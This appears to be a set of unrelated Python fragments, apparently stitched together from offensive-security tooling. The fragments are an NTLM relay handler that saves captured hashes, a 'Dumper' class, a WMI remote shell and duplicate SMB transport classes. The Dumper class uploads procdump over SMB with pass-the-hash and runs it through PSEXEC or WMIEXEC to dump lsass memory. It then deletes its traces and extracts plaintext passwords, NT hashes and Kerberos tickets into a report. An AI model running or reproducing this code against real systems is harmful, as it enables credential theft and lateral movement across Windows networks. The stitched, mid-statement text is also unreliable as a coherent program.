self.server.config.outputFile is not None: writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile) self.server.config.target.logTarget(self.target, True, self.authUser) self.do_attack() # And answer 404 not found try: self.send_response(404) self.send_header('WWW-Authenticate', 'NTLM') self.send_header('Content-type', 'text/html') self.send_header('Content-Length','0') self.send_header('Connection','close') self.end_headers() except: pass return
class Dumper: def __init__(self, username, password, domain, target, auth, hashes): self.target = target self.auth = auth if domain is None: domain = "" self.credentials = { "username": username, "password": password, "domain": domain, "hashes": hashes, } if self.credentials["hashes"] != "": self.credentials["hashes"] = self.credentials["hashes"].lower() self.credentials["lm_hash"] = self.credentials["hashes"].split( ":")[0] self.credentials["nt_hash"] = self.credentials["hashes"].split( ":")[1] else: self.credentials["hashes"] = None self.credentials["lm_hash"] = "" self.credentials["nt_hash"] = "" self.smb = SMBConnection(self.target, self.target, sess_port=445, timeout=4) self.host_info = self.enum_host_info() def enum_host_info(self): print("Performing enumeration") info_dict = {} self.smb.login( user=self.credentials["username"], password=self.credentials["password"], domain=self.credentials["domain"], nthash=self.credentials["nt_hash"], lmhash=self.credentials["lm_hash"], ) os = self.smb.getServerOS() arch = self.get_arch() domain = self.smb.getServerDomain() info_dict.update({"target": self.target}) info_dict.update({"os": os}) info_dict.update({"domain": domain}) info_dict.update({"arch": arch}) print("Done") return info_dict def get_arch(self): options = Namespace() options.target = self.target NDR64Syntax = ("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0") try: stringBinding = r"ncacn_ip_tcp:%s[135]" % self.target transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(2) dce = transport.get_dce_rpc() dce.connect() try: dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=NDR64Syntax) except DCERPCException as e: if str(e).find("syntaxes_not_supported") >= 0: return 32 else: print(str(e)) pass else: return 64 dce.disconnect() except Exception as e: print(f"{self.target}, {str(e)}") print(f"Failed to determine {self.target} architecture") print("Attempt to proceed with 32 bit procdump") return 32 def upload_file(self): print("Uploading file") if self.host_info["arch"] == 64: src = src_x64 filename = re.sub(r"\d+", "", path.basename(src)) self.smb.putFile("C$", "/Users/Public/Documents/" + filename, open(src, "rb").read) elif self.host_info["arch"] == 32: src = src_x32 filename = re.sub(r"\d+", "", path.basename(src)) self.smb.putFile("C$", "/Users/Public/Documents/" + filename, open(src, "rb").read) else: print("Something went wrong") sys.exit(1) print("Done") def exec_procdump(self): print("Executing procdump") if self.credentials["password"] != "": password = self.credentials["password"] else: password = "" if self.auth == "psexec": executer = PSEXEC( "C:\\Users\\Public\\Documents\\procdump.exe -accepteula > nul", None, None, None, int(445), self.credentials["username"], password, self.credentials["domain"], self.credentials["hashes"], None, False, None, "", ).run(self.target, self.target) if self.host_info["arch"] == 64: executer = PSEXEC( "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump", None, None, None, int(445), self.credentials["username"], password, self.credentials["domain"], self.credentials["hashes"], None, False, None, "", ) else: executer = PSEXEC( "C:\\Users\\Public\\Documents\\procdump.exe -ma lsass.exe C:\\Users\\Public\\Documents\\lsass_dump", None, None, None, int(445), self.credentials["username"], password, self.credentials["domain"], self.credentials["hashes"], None, False, None, "", ) executer.run(remoteName=self.target, remoteHost=self.target) elif self.auth == "wmiexec": executer = WMIEXEC( command= "C:\\Users\\Public\\Documents\\procdump.exe -accepteula > nul", username=self.credentials["username"], password=password, domain=self.credentials["domain"], hashes=self.credentials["hashes"], aesKey=None, share="C$", noOutput=False, doKerberos=False, kdcHost=None, ).run(self.target) if self.host_info["arch"] == 64: executer = WMIEXEC( command= "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump", username=self.credentials["username"], password=password, domain=self.credentials["domain"], hashes=self.credentials["hashes"], aesKey=None, share="C$", noOutput=False, doKerberos=False, kdcHost=None, ) else: executer = WMIEXEC( command= "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump", username=self.credentials["username"], password=password, domain=self.credentials["domain"], hashes=self.credentials["hashes"], aesKey=None, share="C$", noOutput=False, doKerberos=False, kdcHost=None, ) executer.run(self.target) print("Done") def dump_lsass(self): print("Dumping") self.smb.getFile( "C$", "/Users/Public/Documents/lsass_dump.dmp", open("lsass_dump.dmp", "wb").write, ) print("Done") def clear_out(self): print("Starting ClearOut") self.smb.deleteFile("C$", "/Users/Public/Documents/lsass_dump.dmp") self.smb.deleteFile("C$", "/Users/Public/Documents/procdump.exe") self.smb.close() print("ClearOut Done") # def clean_up(self): # print("Searching for files") # if self.credentials["password"] != "": # password = self.credentials["password"] # else: # password = "" # if self.auth == "psexec": # executer = PSEXEC( # "dir C:\\Users\\Public\\Documents | ?{._name -match 'lsass_dump.*?.dmp$'}", # None, # None, # None, # int(445), # self.credentials["username"], # password, # self.credentials["domain"], # self.credentials["hashes"], # None, # False, # None, # "", # ).run(self.target, self.target) # elif self.auth == "wmiexec": # executer = WMIEXEC( # command="dir C:\\Users\\Public\\Documents | ?{._name -match 'lsass_dump.*?.dmp$'}", # username=self.credentials["username"], # password=password, # domain=self.credentials["domain"], # hashes=self.credentials["hashes"], # aesKey=None, # share="C$", # noOutput=False, # doKerberos=False, # kdcHost=None, # ).run(self.target) # # self.smb.login( # # user=self.credentials["username"], # # password=self.credentials["password"], # # domain=self.credentials["domain"], # # nthash=self.credentials["nt_hash"], # # lmhash=self.credentials["lm_hash"], # # ) # # pdb.set_trace() @staticmethod def dump_to_pypykatz(dump_file="./lsass_dump.dmp"): print("Pypykatz doing his job...") cmdhelpers = [ LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), LDAPCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), ] args = Namespace() args.cmd = "minidump" args.command = "lsa" args.directory = False args.halt_on_error = False args.json = True args.kerberos_dir = False args.memoryfile = dump_file args.outfile = "temp_report.json" args.recursive = False args.timestamp_override = None args.verbose = 0 for helper in cmdhelpers: helper.execute(args) print("Removing dump file") os.remove(dump_file) print("Done") @staticmethod def create_report(filename, verbose): print("Creating report") with open("./temp_report.json", "r") as jf: parsed = json.load(jf)["./lsass_dump.dmp"] with open(filename, "w") as report: for el in parsed["logon_sessions"]: temp = parsed["logon_sessions"][el] if len(temp["kerberos_creds"]) > 0: for cr in temp["kerberos_creds"]: if cr["username"] is not None: if cr["password"] is not None: if verbose == 1: report.write( f"From Kerberos (Domain/username:password) -- {cr['domainname']} / {cr['username']}:{cr['password']}\n" ) else: report.write( f"{cr['domainname']} / {cr['username']}:{cr['password']}\n" ) elif len(cr["tickets"]) > 0: if verbose == 1: report.write( f"From Kerberos (Domain/username:tickets) -- {cr['domainname']} / {cr['username']}:{cr['tickets']}\n" ) else: report.write( f"Tickets--{cr['domainname']} / {cr['username']}:{cr['tickets']}\n" ) if len(temp["livessp_creds"]) > 0: report.write("Did not expect creds to be in livessp\n") if len(temp["ssp_creds"]) > 0: for cr in temp["ssp_creds"]: if cr["username"] is not None: if cr["password"] is not None: if verbose == 1: report.write( f"From SSP (Domain/username:password) -- {cr['domainname']}/{cr['username']}:{cr['password']}\n" ) else: report.write( f"{cr['domainname']}/{cr['username']}:{cr['password']}\n" ) if len(temp["wdigest_creds"]) > 0: for cr in temp["wdigest_creds"]: if cr["username"] is not None: if cr["password"] is not None: if verbose == 1: report.write( f"From Wdigest (Domain/username:password) -- {cr['domainname']} / {cr['username']}:{cr['password']}\n" ) else: report.write( f"{cr['domainname']} / {cr['username']}:{cr['password']}\n" ) if len(temp["msv_creds"]) > 0: for cr in temp["msv_creds"]: if cr["username"] is not None: if cr["NThash"] is not None: if verbose == 1: report.write( f"From MSV (Domain/username:NThash) -- {cr['domainname']} / {cr['username']}:{cr['NThash']}\n" ) else: report.write( f"NTHASH--{cr['domainname']} / {cr['username']}:{cr['NThash']}\n" ) for el in parsed["orphaned_creds"]: if "username" in el.keys() and el["username"] is not "": if el["password"] is not None: if verbose == 1: report.write( f"From orphaned creds (Domain/username:password) -- {el['domainname']} / {el['username']}:{el['password']}\n" ) else: report.write( f"{el['domainname']} / {el['username']}:{el['password']}\n" ) elif "tickets" in el.keys() and len(el["tickets"]) > 0: if verbose == 1: report.write( f"From orphaned creds (Domain/username:tickets) -- {el['domainname']} / {el['username']}:{el['tickets']}\n" ) else: report.write( f"Tickets--{el['domainname']} / {el['username']}:{el['tickets']}\n" ) os.remove("./temp_report.json") print("Done :)") def run(self): self.upload_file() self.exec_procdump() self.dump_lsass() self.clear_out()
class Wmiexec: OUTPUT_FILENAME = "__" + str(time.time()) def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$", secrets_dir=None): self.__ip = ip self.__username = username self.__password = password self.__domain = domain self.__lmhash, self.__nthash = hashes.split(":") self.__share = share self.__secrets_dir = secrets_dir self.shell = None def connect(self): self.smbConnection = SMBConnection(self.__ip, self.__ip) self.smbConnection.login( user=self.__username, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash, ) self.dcom = DCOMConnection( target=self.__ip, username=self.__username, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash, oxidResolver=True, ) try: iInterface = self.dcom.CoCreateInstanceEx( wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.iWbemServices = iWbemLevel1Login.NTLMLogin( "//./root/cimv2", NULL, NULL) iWbemLevel1Login.RemRelease() except (Exception, KeyboardInterrupt) as e: LOG.error(str(e)) self.smbConnection.logoff() self.dcom.disconnect() def get_remote_shell(self): self.connect() win32Process, _ = self.iWbemServices.GetObject("Win32_Process") self.shell = RemoteShell(self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME, self.__secrets_dir) return self.shell def close(self): self.smbConnection.close() self.smbConnection = None self.dcom.disconnect() self.dcom = None
class SMBTransport(DCERPCTransport): """Implementation of ncacn_np protocol sequence""" def __init__(self, remoteName, dstport=445, filename='', username='', password='', domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None, remote_host='', smb_connection=0, doKerberos=False, kdcHost=None): DCERPCTransport.__init__(self, remoteName, dstport) self.__socket = None self.__tid = 0 self.__filename = filename self.__handle = 0 self.__pending_recv = 0 self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS) self._doKerberos = doKerberos self._kdcHost = kdcHost if remote_host != '': self.setRemoteHost(remote_host) if smb_connection == 0: self.__existing_smb = False else: self.__existing_smb = True self.set_credentials(*smb_connection.getCredentials()) self.__prefDialect = None self.__smb_connection = smb_connection def preferred_dialect(self, dialect): self.__prefDialect = dialect def setup_smb_connection(self): if not self.__smb_connection: self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(), preferredDialect=self.__prefDialect) if self._strict_hostname_validation: self.__smb_connection.setHostnameValidation(self._strict_hostname_validation, self._validation_allow_absent, self._accepted_hostname) def connect(self): # Check if we have a smb connection already setup if self.__smb_connection == 0: self.setup_smb_connection() if self._doKerberos is False: self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash) else: self.__smb_connection.kerberosLogin(self._username, self._password, self._domain, self._lmhash, self._nthash, self._aesKey, kdcHost=self._kdcHost, TGT=self._TGT, TGS=self._TGS) self.__tid = self.__smb_connection.connectTree('IPC$') self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename) self.__socket = self.__smb_connection.getSMBServer().get_socket() return 1 def disconnect(self): self.__smb_connection.disconnectTree(self.__tid) # If we created the SMB connection, we close it, otherwise # that's up for the caller if self.__existing_smb is False: self.__smb_connection.logoff() self.__smb_connection.close() self.__smb_connection = 0 def send(self,data, forceWriteAndx = 0, forceRecv = 0): if self._max_send_frag: offset = 0 while 1: toSend = data[offset:offset+self._max_send_frag] if not toSend: break self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset) offset += len(toSend) else: self.__smb_connection.writeFile(self.__tid, self.__handle, data) if forceRecv: self.__pending_recv += 1 def recv(self, forceRecv = 0, count = 0 ): if self._max_send_frag or self.__pending_recv: # _max_send_frag is checked because it's the same condition we checked # to decide whether to use write_andx() or send_trans() in send() above. if self.__pending_recv: self.__pending_recv -= 1 return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag) else: return self.__smb_connection.readFile(self.__tid, self.__handle) def get_smb_connection(self): return self.__smb_connection def set_smb_connection(self, smb_connection): self.__smb_connection = smb_connection self.set_credentials(*smb_connection.getCredentials()) self.__existing_smb = True def get_smb_server(self): # Raw Access to the SMBServer (whatever type it is) return self.__smb_connection.getSMBServer() def get_socket(self): return self.__socket def doesSupportNTLMv2(self): return self.__smb_connection.doesSupportNTLMv2()
class SMBTransport(DCERPCTransport): """Implementation of ncacn_np protocol sequence""" def __init__(self, target, credential = SMBCredential(), filename='', smb_connection=None): DCERPCTransport.__init__(self, target) self.__socket = None self.__tid = 0 self.__filename = filename self.__handle = 0 self.__pending_recv = 0 self.__credential = credential self.set_credentials(credential) if target.hostname is not None: self.setRemoteHost(target.hostname) if smb_connection is None: self.__existing_smb = False else: self.__existing_smb = True self.set_credentials(smb_connection.getCredentials()) self.__prefDialect = None self.__smb_connection = smb_connection def preferred_dialect(self, dialect): self.__prefDialect = dialect def setup_smb_connection(self): if not self.__smb_connection: self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(), preferredDialect=self.__prefDialect) def connect(self): # Check if we have a smb connection already setup if self.__smb_connection is None: self.setup_smb_connection() if self._doKerberos is False: self.__smb_connection.login(self.__credential) else: self.__smb_connection.kerberos_login(self.__credential) self.__tid = self.__smb_connection.connectTree('IPC$') self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename) self.__socket = self.__smb_connection.getSMBServer().get_socket() return 1 def disconnect(self): self.__smb_connection.disconnectTree(self.__tid) # If we created the SMB connection, we close it, otherwise # that's up for the caller if self.__existing_smb is False: self.__smb_connection.logoff() self.__smb_connection.close() self.__smb_connection = None def send(self,data, forceWriteAndx = 0, forceRecv = 0): if self._max_send_frag: offset = 0 while 1: toSend = data[offset:offset+self._max_send_frag] if not toSend: break self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset) offset += len(toSend) else: self.__smb_connection.writeFile(self.__tid, self.__handle, data) if forceRecv: self.__pending_recv += 1 def recv(self, forceRecv = 0, count = 0 ): if self._max_send_frag or self.__pending_recv: # _max_send_frag is checked because it's the same condition we checked # to decide whether to use write_andx() or send_trans() in send() above. if self.__pending_recv: self.__pending_recv -= 1 return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag) else: return self.__smb_connection.readFile(self.__tid, self.__handle) def get_smb_connection(self): return self.__smb_connection def set_smb_connection(self, smb_connection): self.__smb_connection = smb_connection self.set_credentials(smb_connection.getCredentials()) self.__existing_smb = True def get_smb_server(self): # Raw Access to the SMBServer (whatever type it is) return self.__smb_connection.getSMBServer() def get_socket(self): return self.__socket def doesSupportNTLMv2(self): return self.__smb_connection.doesSupportNTLMv2()